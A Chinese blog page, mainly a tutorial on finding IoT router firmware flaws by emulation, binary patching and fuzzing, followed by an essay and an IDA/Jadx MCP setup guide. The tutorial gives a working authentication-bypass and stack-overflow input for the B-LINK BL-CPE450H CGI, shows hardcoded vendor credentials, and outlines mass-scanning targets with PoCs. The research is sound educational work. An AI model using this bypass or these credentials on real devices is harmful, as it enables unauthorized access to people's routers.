找解密脚本。binwalk -Me 固件文件 --run-as=root再提供个在线固件解包网站。{abtn icon="fa-bandcamp" color="#000" href="https://zhiwanyuzhou.com/multiple_analyse/firmware/" radius="" content="在线固件解包"/}固件加密怎么判断一个固件是否加密呢?binwalk -E 固件文件 --run-as=root这里用 腾达AX 系列路由器举例,binwalk -E 跑一下固件,熵值全程快接近 1.0,那这固件就是加密或者强压缩,直接解包肯定解不开。固件实在解不了密,不一定非要做白盒审计,黑盒测也完全够用。直接用万能的 Fuzz 对着接口一顿乱塞数据,也能挖出漏洞。互联网资产一般解包后,我做的第一件事,是先确定指纹,很简单解包里会有前端代码,我一般就搜 .html、.icon、.png 直接上传 Fofa 找 icon 图标的 hash,或者 body、title 关键字。有的设备在互联网压根就没资产,就纯内网使用,如果说想挖 CNVD/CNNVD/NCC 拿证书的话。找不到资产那就以漏洞情报的方式提交,不用找资产,只要本地复现 + 完整技术证明 审核通过就发证书。固件仿真我比较推荐使用 qemu、emux 这类工具。{abtn icon="fa-github" color="#000" href="https://github.com/therealsaumil/emux" radius="" content="EMUX"/} 目前能完整仿真起来的设备并不算多,完整固件仿真难度普遍较高,或者买个路由器挖(滑稽)很多情况下还需要修改程序逻辑、打补丁才能正常运行。最推荐方式:qemu 单个程序测试(这也是常见的IoT漏洞挖掘方式)EMUX 完整运行先把 EMUX 项目下载到本地,比较推荐用 Kali Linux 安装前需要确认 docker 是否能正常运行。git clone --depth 1 --single-branch https://github.com/therealsaumil/emux.git如果下载慢,可以自己挂代理,到 Github 上下载项目源码,然后解压执行以下命令。cd emux ./build-emux-volume ./build-emux-docker安装完成后就能使用了,EMUX 目录结构:C:. ├─docs # 文档、说明与截图存放目录 │ └─img # 文章/报告所用图片 ├─files # emux 运行相关文件总目录 │ ├─emux # emux 固件仿真环境核心目录 │ │ ├─firmware # 待仿真固件存放目录,按设备型号分类 │ │ │ ├─AC15 # 路由器 AC15 固件相关 │ │ │ │ ├─flashmem │ │ │ │ ├─kernel │ │ │ │ └─preload │ │ │ ├─ARCHERC9 │ │ │ │ ├─kernel │ │ │ │ └─preload │ │ │ ├─DCS935L # 摄像头 DCS935L 固件 │ │ │ │ └─kernel │ │ │ ├─DIR615C # DIR615C 路由器固件 │ │ │ │ └─kernel │ │ │ ├─DV-ARM # ARM 架构调试固件 │ │ │ │ └─kernel │ │ │ ├─DV-MIPSEB # MIPS 大端调试固件 │ │ │ │ └─kernel │ │ │ ├─DV-MIPSEL # MIPS 小端调试固件 │ │ │ │ └─kernel │ │ │ ├─PH0WNCTF # CTF IoT 题目固件 │ │ │ │ └─kernel │ │ │ └─TRI227WF # 路由器 TRI227WF 固件 │ │ │ └─kernel │ │ ├─hostfs # 与仿真系统共享的文件系统 │ │ ├─run # 仿真启动脚本、运行日志 │ │ └─template # 通用仿真模板(内核、预加载配置) │ │ ├─kernel │ │ └─preload │ ├─etc # 系统及工具配置 │ │ ├─local.d │ │ └─tinyproxy # 代理配置 │ └─home │ └─r0 # 调试用户环境 │ ├─config │ │ └─pip │ ├─dircolors │ ├─gef # GDB-GEF 调试环境配置 │ └─ssh └─workspace # 个人工作目录,用于漏洞分析、脚本编写EMUX 默认自带了固件在 firmware 文件夹里,我们需要注意的就是这个,下载的固件解包后都要放到这里面。可以参考它自带的固件模板,然后配置下 firmware 文件夹里的 devices 就行。这里我以 BL‑CPE450H 固件为例(已通过binwalk解包)。在固件目录下创建 config、nvram.ini 及 kernel 文件夹,内容如下:# config 配置 # Tinysploit MIPSEL 仿真配置 id=firmware/BL-CPE450H # 固件型号与路径 #nvram=nvram.ini # NVRAM配置(未启用) rootfs=cpio-root # 指定根文件系统 randomize_va_space=0 # 关闭ASLR,便于漏洞调试 legacy_va_layout=1 # 兼容旧设备内存布局 mount_dev_tree=1 # 挂载/dev设备目录 mount_proc=1 # 挂载/proc进程目录 mount_sys=1 # 挂载/sys系统目录 initcommands="/etc_ro/rcS;/bin/sh" # 启动脚本+交互shell配置实在不懂,可以问 AI 比如 initcommands 的配置,每个固件都不同,有的不用 /etc_ro/rcS;。# nvram.ini 配置(固件仿真所需硬件参数,扣代码填数据) WebInit=1 # Web管理界面初始化开关 OperationMode=1 # 设备工作模式 Login=admin # 后台登录账号 Password=admin # 后台登录密码 lan_ipaddr=192.168.1.1 # 内网管理地址 lan_netmask=255.255.255.0 # 子网掩码 SSID=B-LINK # WiFi名称 blinkssid=B-LINK # 设备默认WiFi名称 AuthMode=WPAPSK # WiFi加密方式 HideSSID=0;0; # 是否隐藏WiFi(0=不隐藏)# devices 配置 firmware/BL-CPE450H,qemu-system-mipsel,malta,,,128M,vmlinux-2.6.32.5-malta-mipsel,MALTA2,BL-CPE450H MIPSLE Router这些配置跟 devices 文件内容要对应的,比如用到小端序 qemu-system-mipsel。内核用 vmlinux-2.6.32.5-malta-mipsel 那么 kernel 文件夹必须要有这个文件。不太懂可以参考官方自带的模板。./build-emux-docker # 构建镜像,让所有配置生效配置写完必须跑一遍这条命令,改了配置也要重新执行,不然不生效。./run-emux-docker # 启动固件仿真环境最后执行这条命令,进行启动。# [EMUX-DOCKER 🐳] /home/r0# launcher launcher # 启动仿真到 EMUX 交互界面再输入以上命令。发现已经添加成功了,鼠标点击选择下 BL-CPE450H 然后 OK。输入 root 账号,进行回车。有三种模式:0:默认宿主机 shell,不启动仿真,改配置用1:完整启动路由器,正常用/测漏洞用2:直连路由器控制台,调试/排错用我选第二个,直接启动完整路由器。不出意外的情况下,还是出意外了,第一个问题:goahead 缺 nvram_daemon。既然仿真环境没有这个守护进程,不折腾了,直接反编译 goahead 二进制打补丁,跳过 nvram 检查。哪里卡壳就 patch 哪里,也可借助 AI 找出需跳过的判断逻辑。// goahead 代码 int __fastcall ftext(int argc, const char *argv, const char *envp) { int v3; int v4; int v5; int v6; int v7; int v8; const char *v9; _BYTE *v10; _BYTE *v11; int v12; unsigned int v13; int v14; int v15; int v16; _BYTE v18[4]; int v19; char v20[200]; int v21; bopen(0, 61440, 1); signal(13, 1); v3 = fopen("/var/run/goahead.pid", "w+"); if ( v3 ) // NOP 0x004052F8 { v4 = getpid(); fprintf(v3, "%d", v4); fclose(v3); while ( !GetPid("nvram_daemon") ) // NOP 0x00405380 sleep(5); memset(v20, 0, sizeof(v20)); signal(24, sub_4492B8); signal(17, 1); signal(26, hotPluglerHandler); v5 = open("/dev/gpio", 0); v6 = v5; if ( v5 < 0 ) // NOP 0x00405404 { perror("/dev/gpio"); } else if ( ioctl(v5, 17, 1) >= 0 ) // NOP 0x00405424 { } else if ( ioctl(v6, 8, v7) >= 0 ) // NOP 0x00405440 { } else if ( ioctl(v6, 10, v18) >= 0 ) { close(v6); signal(16, sub_449240); } else { perror("ioctl"); close(v6); } signal(31, WPSSingleTriggerHandler); if ( sub_4493D8() >= 0 ) // NOP 0x004054C0 { v8 = nvram_bufget(0, "OperationMode"); if ( !atoi(v8) ) // NOP 0x00405500 { memset(v20, 0, sizeof(v20)); sprintf(v20, "echo \"1;0.0.0.0;00:00:00:00:00:00\" > /proc/%s/DHCP_Dns", "mt7628"); doSystem(v20); } if ( initInternet() >= 0 ) // NOP 0x0040551C { v9 = (const char *)nvram_bufget(0, "lan_ipaddr"); socketOpen(); v10 = (_BYTE *)nvram_bufget(0, "Login"); v11 = (_BYTE *)nvram_bufget(0, "Password"); umOpen(); umAddGroup("adm", 7, 3, 0, 0); if ( v10 && *v10 && v11 && *v11 ) { umAddUser(v10, v11, "adm", 0, 0); umAddAccessLimit("/", 3, 0, "adm"); } else { error("goahead.c", 544, 2, "gohead.c: Warning: empty administrator account or password"); } if ( v9 ) // NOP 0x00405614 { v12 = inet_addr(v9); if ( v12 != -1 ) // NOP 0x00405634 { strcpy(v20, "/etc_ro/web"); v21 = v12; websSetDefaultDir(v20); v21 = inet_ntoa(v21); v13 = strlen(v21) + 1; v14 = 128; if ( v13 < 0x80 ) v14 = v13; ascToUni(v18, v21, v14); websSetIpaddr(v18); websSetHost(v18); websSetDefaultPage("login.asp"); websSetPassword(""); websOpenServer(80, 5); websUrlHandlerDefine("", 0, 0, websSecurityHandler, 1); websUrlHandlerDefine("/goform", 0, 0, websFormHandler, 0); websUrlHandlerDefine("/cgi-bin", 0, 0, websCgiHandler, 0); websUrlHandlerDefine("", 0, 0, websDefaultPage, 2); formDefineCGIjson(); websUrlHandlerDefine("/", 0, 0, sub_449360, 0); if ( !*(_BYTE *)nvram_bufget(0, "Password") ) { doSystem("echo 'admin:x:0:admin' > /etc/group"); doSystem("echo 'admin:TcigdJt3/FTaQ:0:0:Adminstrator:/:/bin/sh' > /etc/passwd"); doSystem("echo 'admin::0:0:Adminstrator:/:/bin/sh' > /etc/passwd-"); } v15 = nvram_bufget(0, "Login"); strcpy(&g_User, v15); v16 = nvram_bufget(0, "Password"); strcpy(&g_Pass, v16); strcpy(&g_baseUser, "adminblink"); strcpy(&g_basePass, "blinkadmin"); while (1) { if ( socketReady(-1) || socketSelect(-1, 1000) ) socketProcess(-1); websCgiCleanup(); emfSchedProcess(); } } error("goahead.c", 572, 2, "initWebs: failed to convert %s to binary ip data", v9); } else { error("goahead.c", 567, 2, "initWebs: cannot find lan_ip in NVRAM"); } } } } else { error("goahead.c", 240, 2, "goahead.c: cannot open pid file"); } return -1; }比较懒 IDA Pro 也没装插件,一个一个打太麻烦了,这里我用 radare2 -w 直接刷过去。# r2 -w goahead aaa oo+ s 0x00405380 wx 00000000 s 0x00405404 wx 00000000 s 0x00405424 wx 00000000 s 0x00405440 wx 00000000 s 0x00405614 wx 00000000 s 0x00405634 wx 00000000 s 0x004052F8 wx 00000000 s 0x004054C0 wx 00000000 s 0x00405500 wx 00000000 s 0x0040551C wx 00000000 qs 0x00405380 wx 00000000 → while (!GetPid("nvram_daemon")) sleep(5); // NOP s 0x00405404 wx 00000000 → if ( v5 < 0 ) // NOP s 0x00405424 wx 00000000 → if ( ioctl(v5, 17, 1) >= 0 ) // NOP s 0x00405440 wx 00000000 → if ( ioctl(v6, 8, v7) >= 0 ) // NOP s 0x00405614 wx 00000000 → if ( v9 ) // NOP s 0x00405634 wx 00000000 → if ( v12 != -1 ) // NOP s 0x004052F8 wx 00000000 → if ( v3 ) // NOP s 0x004054C0 wx 00000000 → if ( sub_4493D8() >= 0 ) // NOP s 0x00405500 wx 00000000 → if ( !atoi(v8) ) // NOP s 0x0040551C wx 00000000 → if ( initInternet() >= 0 ) // NOP q以上是对应 nop 地址与代码位置。chmod -R 777 BL-CPE450H 修改完要运行一定要给权限,不然仿真会没权限运行失败。打完补丁后,重复上面的 EMUX 操作重新启动,就成功能访问了。序号外部端口(Linux系统)内部端口(模拟的系统)120080192.168.100.2:80220443192.168.100.2:443328080192.168.100.2:8080424433192.168.100.2:443359999192.168.100.2:9999这是端口映射表,比如仿真的路由器访问 web 端口是 8080 ,在实体机访问 28080。QEMU 单个运行像 cgi-bin、bin 目录里放的都是可执行程序,只是芯片架构(MIPS、ARM 等)跟电脑不同,运行不了,要用 QEMU 来模拟。可以通过 file 命令 查看程序的架构、字节序,区分是大端序还是小端序,方便后续仿真。这里显示 LSB 表示小端序,对应使用 qemu-mipsel,MSB 表示大端序,对应使用 qemu-mips。架构标识端序QEMU 对应命令MIPSEL (LSB)小端序qemu-mipselMIPS (MSB)大端序qemu-mipsARM (LSB)小端序qemu-armARM64 (LSB)小端序qemu-aarch64这里以 busybox 举例也是成功运行了,那么就可以通过这种方式单个程序测试漏洞了。漏洞挖掘未授权漏洞IoT 未授权是最好的突破口,因为有的设备根本不需要认证,当然也会遇到授权后漏洞利用的情况。那么怎么测未授权呢?非常简单,说说我平时常用的操作:1.先登录路由器,用 Yakit 抓包,功能都点一遍,收集接口,进行模糊测试。2.解包固件,在代码里找接口,然后用 Yakit 批量请求接口,不加任何头部认证。3.查找该设备有没有公开漏洞,从已有的报告或文章里了解漏洞、构造请求接口。4.硬核一点就纯看代码配合AI,不用仿真直接看出接口跟漏洞,然后线上实测。cgi-bin 本质就是文件系统,最容易出现未授权访问。栈溢出漏洞这是我挖到的最简单的栈溢出基于 cgi-bin 未授权,程序代码也没做任何防护。# 本地 QEMU 模拟运行,绕过认证 + 栈溢出 echo '{"type":"getmanpwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB","loginauth":""}' | CONTENT_LENGTH=500 AUTHORIZATION="" qemu-mipsel -cpu 34Kf -L . ./www/cgi-bin/lighttpd.cgi通过 qemu-mipsel 直接本地运行路由器固件中的 lighttpd.cgi,携带 loginauth 字段即可绕过鉴权,并通过超长字符串触发栈溢出漏洞。// lighttpd.cgi 代码 int __fastcall ftext(int argc, const char **argv, const char **envp) { int v3; // $s2 char *v4; // $a0 int v5; // $s1 int v6; // $s0 int v7; // $v0 int v8; // $a0 _BYTE v10[16384]; // [sp+18h] [-4000h] BYREF memset(v10, 0, sizeof(v10)); v3 = getenv("AUTHORIZATION"); // 获取请求头中的 Authorization 认证信息 v4 = (char *)getenv("CONTENT_LENGTH"); if ( !v4 ) v4 = ""; v5 = strtol(v4, 0, 10) + 1; if ( v5 >= 2 ) { v6 = malloc(v5); if ( v6 ) { if ( sub_400E98() ) { LABEL_12: free(v6); return 0; } memset(v6, 0, v5); fgets(v6, v5, stdin); // 读取 POST 提交的内容 v7 = strstr(v6, "loginauth"); // 检查提交的参数里有没有 loginauth // 如果 POST 数据 包含 loginauth 字段 if ( !v7 ) { // 没有 loginauth 才会校验账号密码 if ( !check_auth(v3) ) { // 认证失败返回 {"result":8} strcpy(v10, "{\"result\":8}"); sub_400BE0(); LABEL_11: puts(v10); goto LABEL_12; } v8 = v6; } // 只要 POST 包含 loginauth 字段,直接跳过密码校验 // 无需账号、无需密码、无需 token,直接进入核心功能 share_func(v8, v10); // 溢出点在 share_func 函数里 goto LABEL_11; } } return 0; }这里我通过 grep -r 快速定位 share_func 函数在哪个动态链接库里。 找到后 libblinkapi.so 用 IDA Pro 反编译,审计下就能发现 strcpy(v16, v11); 是有问题的。// libblinkapi.so // 参数 a1 = 传入的JSON字符串(包含type和loginauth) // 参数 a2 = 输出缓冲区,用于存放返回结果 int __fastcall share_func(int a1, _BYTE *a2) { int v4; // $v0 int v5; // $s2 _BYTE *v6; // $a0 const char *v7; // $a1 int ObjectItem; // $v0 int v10; // $s3 int v11; // $a1 int v12; // $s3 int v13; // $s6 char *v14; // $s4 _BYTE v15[16384]; // [sp+18h] [-4100h] BYREF char v16[256]; // [sp+4018h] [-100h] BYREF 局部变量,仅256字节栈空间 memset(v15, 0, sizeof(v15)); // 1. 解析我们传入的JSON数据:{"type":"getmanpwdAAA...","loginauth":""} v4 = cJSON_Parse(a1); v5 = v4; if ( !v4 ) { v6 = v15; v7 = "{\"result\":7}"; LABEL_5: strcpy(v6, v7); return -1; } // 2. 提取JSON中的 "type" 字段内容 // 也就是我们传入的:getmanpwd + 超长AAA...BBB...字符串 ObjectItem = cJSON_GetObjectItem(v4, "type"); if ( !ObjectItem ) { strcpy(v15, "{\"result\":7}"); cJSON_Delete(v5); v6 = a2; v7 = v15; goto LABEL_5; } // 拿到 type 字符串指针 v10 = *(_DWORD *)(ObjectItem + 16); // 清空 v16 缓冲区(大小只有 256 字节) memset(v16, 0, sizeof(v16)); v11 = v10; v12 = 0; // 危险函数:strcpy(目标,源) // 目标:v16 只有 256 字节栈空间 // 源:我们传入的超长 type 字符串(几百字节) // 直接无限制拷贝 → 覆盖栈返回地址 → 栈溢出 strcpy(v16, v11); v13 = strlen(v16); do { v14 = &blink_handle[68 * v12]; if ( v13 == strlen(v14) && !memcmp(v16, v14, v13) ) { (*((void (__fastcall **)(int, _BYTE *))v14 + 16))(a1, v15); goto LABEL_12; } ++v12; } while ( v12 != 124 ); sprintf(v15, "{\"type\":\"%s\",\"result\":6}", v16); LABEL_12: cJSON_Delete(v5); strcpy(a2, v15); return 0; }1.loginauth → 绕过认证2.type 后面跟超长字符串3.进入 share_func 后,执行 strcpy(v16, 超长字符串)4.v16 只有 256字节,直接 → 栈溢出那么就可以基于这个突破口 get shell 了,没写 exp 构造也很简单。硬编码漏洞这种最好挖了,基本像什么路由器登录密码,固件解包密码都是硬编码写在固件里。硬编码漏洞直接用 firmwalker、IDA、grep、strings 搜敏感关键字就行。固件解包之后,拿 strings、grep 一顿搜 password、admin、key、secret、token 这些关键词。用 firmwalker 扫更省事,会自动帮你找出写死的敏感信息。拒绝服务漏洞常见的几种路子:1.接口疯狂发包,看设备会不会直接卡死、重启、断服务。2.给接口传超大包、超长参数,撑爆内存或进程,直接打宕。3.对一些没校验的 CGI 接口,无脑 Fuzz 畸形数据,很容易触发崩溃。4.有些逻辑漏洞也能造成 DoS,比如死循环、无限创建进程,设备直接跑满卡死。5.未授权接口反复调用,把设备资源占满,服务直接不可用。后门漏洞常见的几种路子:1.有些厂商为了方便后期维护调试,会特意预留专用后门账号或接口。2.开发测试阶段加的临时入口、调试功能,上线前没及时删掉。3.代码审核不严格,隐藏的后门逻辑直接留在固件里没被发现。4.还有部分后门是隐蔽的硬编码口令、万能密码,同型号设备通用。5.解包固件或者黑盒测试接口,很容易找到这些隐藏入口直接拿权限。远程命令执行漏洞常见的几种路子:1.接口对传入的参数没做过滤,直接拼接到系统命令里执行,可控点直接拿权限。2.一些 CGI 脚本处理用户数据时不严谨,恶意参数直接被当成系统命令运行。3.上传点、恢复配置、固件升级等功能没校验内容,被植入恶意命令执行。4.代码里直接用 system、popen 这类函数,且外部可控,极易被利用。5.未授权访问的命令调用接口,构造 payload 就能远程执行任意命令。组合利用 这也是我最喜欢的环节,一步一步绕过限制、构造 payload。最终打出完整利用链,整个过程特别让人兴奋,就讲这么多了。结尾挖洞方法论(个人研究)序号思路口诀核心用法适用场景1先媒介后漏洞从入口、交互点入手遍历测试与Fuzz,高效批量测试日常刷洞、实战渗透、快速量产出洞2先漏洞后媒介预设漏洞类型,反向寻找可触发路径深挖0day、深度安全研究、挖掘高端漏洞3先资产后漏洞全面摸排域名、端口、服务等资产逐一测试常规打点、SRC批量挖洞,稳健积累漏洞4先漏洞后资产持有POC、1day、0day,全网匹配对应目标资产漏洞爆发批量收割、红队快速拿分5先权限后漏洞梳理各级账号权限,直击权限校验短板挖掘未授权、横向越权等高价值业务漏洞6先功能后逻辑走完完整业务流程,寻找流程逻辑缺陷挖掘权限绕过、数据篡改、业务流程漏洞7先流量后代码抓取分析请求流量与参数,纯黑盒排查隐患无源码环境,零基础高效黑盒挖洞8先输入后解析构造畸形特殊输入,冲击后端数据解析模块文件解析、XML、富文本类漏洞挖掘9先边界后溢出拿捏数据长度、字符、数值边界临界点字符串截断、权限绕过、栈堆溢出类漏洞10先默认后配置优先检测默认账号、路径、出厂配置运维疏漏漏洞,低成本快速挖到通用弱洞11先依赖后本体优先审计第三方组件、框架、中间件快速利用通用组件漏洞,降低挖洞难度12先同源后跨域先突破同域权限,再攻坚跨域相关防护前端安全、单点登录、子域权限突破13先历史后现网调取历史域名、备份文件、老旧源码发掘遗留废弃接口、陈年未修复漏洞14先会话后身份窃取会话凭证顶替合法身份,绕过登录校验免密登录、身份劫持、无声获取后台权限15先可控后利用围绕外部可控点位,定向构造攻击载荷命令执行、SQL注入、任意文件读写通用打法实操挖洞从来不是死啃理论,多调试、多踩坑、多实战才能吃透各类设备漏洞逻辑。IoT 领域漏洞存量巨大,只要沉下心深耕,不管是练手积累证书,还是深挖原生零日漏洞,都能收获满满,技术之路贵在坚持与实操。最后送给看文章的小伙伴们:实践出真理。
2026年04月11日
1,021 阅读
0 评论
250 点赞
2026-02-25
【每日随记】在 AI 时代,请坚持思考
一个小人物的坚持我不是什么天才,也不是哲学家,说的话没有半分权威性,我只是个普通人,一个小人物。这是我这么多年最深的感受:想要真正做好一件事,就得放下其他纷扰,一心一意沉下心。以前,我也无数次动过念头,想给自己放个长假,去做自己真正喜欢的事。可总觉得被什么东西牢牢束缚着,像戴上了一副无形的枷锁,迈不开脚步。就算这样,我也不会向命运低头,更不会止步于此。我一直很喜欢看动漫,因为那些角色身上,有着我一直渴望、却总觉得自己缺少的东西。——精神上的信仰,与一往无前的勇气。蛊仙人-古月方源我很喜欢蛊仙人里的这段话:一个人的坚持会有多难。在场的所有蛊仙,都能回答这个问题。因为他们当中。有的因为责任而坚持,有的因为仇恨而坚持,有的因为精彩而坚持,有的因为爱情而坚持,而方源的回答呢。他仍旧面无表情,毫无所动的向前进。我曾经呐喊过,渐渐的我发不出声音。我曾经哭泣过,渐渐的我不再流泪。我曾经悲伤过,渐渐的我能承受一切。我曾经喜悦过,渐渐的我看淡世间。而如今,我只剩下面无表情。我的目光如磐石般坚硬,我的心中只剩下坚持。这就是我,一个小人物,方源的坚持。一个人的坚持会有多难{dplayer src="https://www.52tt.pro/usr/uploads/2026/02/2508163906.mp4"/}落魄谷中寒风吹{mp3 name="蛊仙人 - 落魄谷中寒风吹" url="https://www.52tt.pro/usr/uploads/2026/03/3571195413.mp3" cover="https://www.52tt.pro/usr/uploads/2026/03/1889424223.png" theme="#f0ad4e" /}1.落魄谷中寒风吹,春秋蝉鸣少年归。 翻译:落魄谷里寒风凛冽,伴随着春秋蝉的声响,重生的少年方源归来。 意思:写方源依靠春秋蝉重生,回到少年时期,从绝境中重新开始。2.荡魂山处石人泪,定仙游走魔向北。 翻译:荡魂山上,石人落泪;他获得定仙游仙蛊,一路向北,正式走上魔道。 意思:写方源在荡魂山崛起,得到关键仙蛊,坚定魔道之路。3.逆流河上万仙退,爱情不敌坚持泪。 翻译:逆流河上,万千仙人为之退避;所谓情爱,终究敌不过他对永生的执着。 意思:他掌控逆流河,战力横推天下;为了大道,舍弃所有情感羁绊。4.宿命天成命中败,仙尊悔而我不悔。 翻译:天命既定、宿命难违,但即便历代仙尊都曾后悔,我却永不后悔。 意思:他逆天抗命,道心坚定,走自己的路,至死不悔。第一次觉醒我始终觉得,这是人生中最痛苦的阶段。当你留出时间沉下心思考,慢慢看清了这个社会的真相。当你的认知远远超过了能力,却发现自己对此,根本无力改变。而我在快 24 岁的这个年纪,已经经历过了人生的第一次觉醒。也是在这个时候我才发现,这个时代,早已不属于我。2026 ~ 2032 年AI 在高速渗透各行各业,有人站在风口上,有人连路都看不清。人人都在问:AI 会不会取代人?答案从来只有一个:算法能替代劳作,却永远替代不了人类的思考。坚持思考普通人的焦虑,从来不是 AI 太强,而是我们丢了思考。AI 能给答案,却不能替你走人生;能替你干活,却给不了你热爱与勇气。在 AI 时代,小人物最该守住的。——是清醒地思考。清醒地思考成为本能1. 先定义真问题,再动手解决碰到任何问题,先花80%的精力搞透:这到底是不是真问题?我真正的需求是什么?就像有人要“更快的马”,本质是要“更快的交通工具”,福特才因此造出了汽车。2. 写「思考日志」,不只是记结论每天花10分钟,写下当天关键决策的思考过程:我为什么下这个判断?前提假设是什么?有没有逻辑漏洞和其他可能?多数人思考混乱,本质是从没看清过自己的思考路径。3. 主动问「傻问题」,质疑所有常识天才的突破,往往始于质疑“所有人都觉得理所当然的事”。遇到“大家都这么说”的情况,多问一句“真的是这样吗?为什么?”。放弃质疑,就是放弃了独立思考。4. 做「思维实验」,训练推演能力不用实际动手,在脑子里完成完整逻辑推演。比如“如果我的行业被AI替代,我该怎么生存?”。爱因斯坦的相对论,最早就源于他16岁的“追光思维实验”。5. 把「试错」纳入思考,接受不完美天才不是一次就想对,而是在试错和修正中逼近真相。别怕犯错,更别因怕想错就不敢思考。每一次错误推演,都是在排除弯路,让你离本质更近一步。
2026年02月25日
572 阅读
6 评论
163 点赞
2026-02-24
【技术分享】IDA+Jadx+Trae MCP 配置教程
简介做逆向分析的时候,大家肯定都有这种体验:在 IDA Pro、Jadx 之间来回切,手动复制内存地址、对着代码逐行比对,不仅慢得让人着急,还特别容易出错。而 MCP(Model Context Protocol,模型上下文协议)就是来解决这个问题的!它能把 IDA Pro、Jadx 和 Trae AI 完美连起来,实现工具间的数据互通、操作联动。今天这篇教程就手把手教你配置这套环境,让你告别工具割裂的麻烦,用 AI 一站式搞定逆向分析。一、环境准备为了避免版本不兼容踩坑,建议大家直接照着下面的环境来搭,亲测稳定不翻车:操作系统:Windows 11版本控制:Git运行环境:Python 3.11.8(重点!别用其他版本)逆向工具:IDA Pro 8.3AI 客户端:Trae AI二、Git 安装Git 是安装 ida-pro-mcp 的必需品,主要用来从 GitHub 拉取插件源码,步骤超简单:1.打开浏览器,访问 Git 官网下载 Windows 版本:https://git-scm.com/install/windows2.双击安装包,一路点“下一步”,默认配置完全够用,不用折腾3.安装完成后,按 Win+R 输入 cmd 打开命令行,敲入 git --version,如果能显示版本号,就说明装好了{abtn icon="fa-git-square" color="#000" href="https://git-scm.com/install/windows" radius="" content="Git 官网"/}三、Trae 联动 IDA Proida-pro-mcp 是连接 IDA Pro 和 MCP 协议的核心,有了它,Trae AI 才能直接调用 IDA 的分析能力,我们一步步来:步骤 1:安装 ida-pro-mcp首先右键点击“命令提示符”,选择“以管理员身份运行”(权限不够会装失败),然后复制下面的命令敲进去:pip install --upgrade git+https://github.com/mrexodia/ida-pro-mcp这里提个醒:如果碰到网络超时、连接重置的情况,就是访问 GitHub 受限了。直接去仓库地址(https://github.com/mrexodia/ida-pro-mcp)下载 ZIP 包,解压后进入解压目录,执行 pip install . 就能本地安装了。步骤 2:安装 IDA 插件插件装完后,不用手动拷贝文件,在刚才的管理员命令行里继续敲:ida-pro-mcp.exe --install执行成功后,插件会自动放到 IDA Pro 的插件目录里,以后打开 IDA,MCP 服务就会自动加载,特别省心。步骤 3:Trae AI MCP 配置打开 Trae AI,找到 MCP 服务器的配置页面,把下面的 JSON 代码完整复制进去就行:四、联动使用流程1.如果是使用工具包,第一次运行 IDA 需要以管理员身份运行一次 IDA_Pro_8.3_绿化工具.exe 初始化下 IDA。2.然后去 IDA 安装目录里找 idapyswitch.exe 并运行,把 Python 版本切换到 3.11.8,这样 IDA 才能正常加载 MCP 插件。3.先打开 IDA Pro,加载你要分析的程序(比如 CrackMe),等底部状态栏显示“Ready”,就说明反汇编完成了。然后点击顶部的「Edit」→「Plugins」→「MCP」,开启 MCP 服务,这时 IDA 就会在 13337 端口等着 Trae 连接了。4.切回 Trae AI,在 MCP 配置页面确认一下之前的配置没错,完成连接设置。5.把执行 ida-pro-mcp --config 命令得到的配置信息,手动填到 Trae AI 的 MCP 配置里,确保参数都对得上。MCP 配置{ "mcpServers": { "ida-pro-mcp": { "command": "C:\\Program Files\\Python311\\python.exe", "args": [ "C:\\Program Files\\Python311\\Lib\\site-packages\\ida_pro_mcp\\server.py", "--ida-rpc", "http://127.0.0.1:13337" ] } } }简单说下配置里的关键点,别配错了:command:填你安装 Python 3.11.8 的路径,必须和装插件时的 Python 一致args:固定写法,不用改,作用是启动 MCP 服务端,连接 IDA 的 13337 端口保存之后,Trae AI 就会自动尝试连接 IDA 的 MCP 服务了6.在 Trae AI 里,把智能体切换成「Builder with MCP」模式,这个模式才支持调用 IDA 的服务。7.最后一步,在 Trae AI 的聊天框里输入下面这句话,让 AI 开始工作:我已经用ida打开了一个程序,请用mcp的方式分析并输出flag8.稍等一会儿,Trae AI 就会自动读取 IDA 里的代码信息,分析加密逻辑,最后直接把正确的 Flag 给你输出来,全程不用手动操作!五、Trae 联动 Jadx1.Jadx 插件可在线下载;若访问受限,前往仓库手动获取:https://github.com/zinja-coder/jadx-ai-mcp。手动安装(推荐)1.将 jadx-ai-mcp-6.1.0.jar、jadx-mcp-server-v6.1.0.zip 放入 Jadx 根目录,并手动选择安装 jadx-ai-mcp-6.1.0.jar。2.解压 jadx-mcp-server-v6.1.0.zip,命令行进入解压目录,执行:pip install -r requirements.txtMCP 配置{ "mcpServers": { "jadx-mcp-server": { "command": "C:\\PROGRA~1\\Python311\\python.exe", "args": [ "D:\\VoxShadow\\Jdax\\jadx-mcp-server-v6.1.0\\jadx_mcp_server.py" ] } } }2.按实际路径修改 command 与 args,复制到 Trae AI MCP 配置页(同 IDA 配置方式)。Trae AI 切换到「Builder with MCP」模式,发送指令:我已经用jadx打开了一个程序,请用mcp的方式分析并输出flag3.AI 自动读取 Jadx 代码、分析逻辑并输出 Flag,也可以进行黑盒代码审计了。六、整合包下载用到的软件我都已经打包好了,下载就能按照文章进行配置使用。{cloud title="IDA+Jadx+Trae工具包" type="bd" url="https://pan.baidu.com/s/1PP2sbVkREX8gvgKb8h4eHQ?pwd=2085" password="2085"/}
2026年02月24日
940 阅读
0 评论
339 点赞
2025-12-30
此内容被密码保护
加密文章,请前往内页查看详情
2025年12月30日
1,562 阅读
0 评论
567 点赞
2025-11-04
【工具分享】开源情报站 - 公益篇
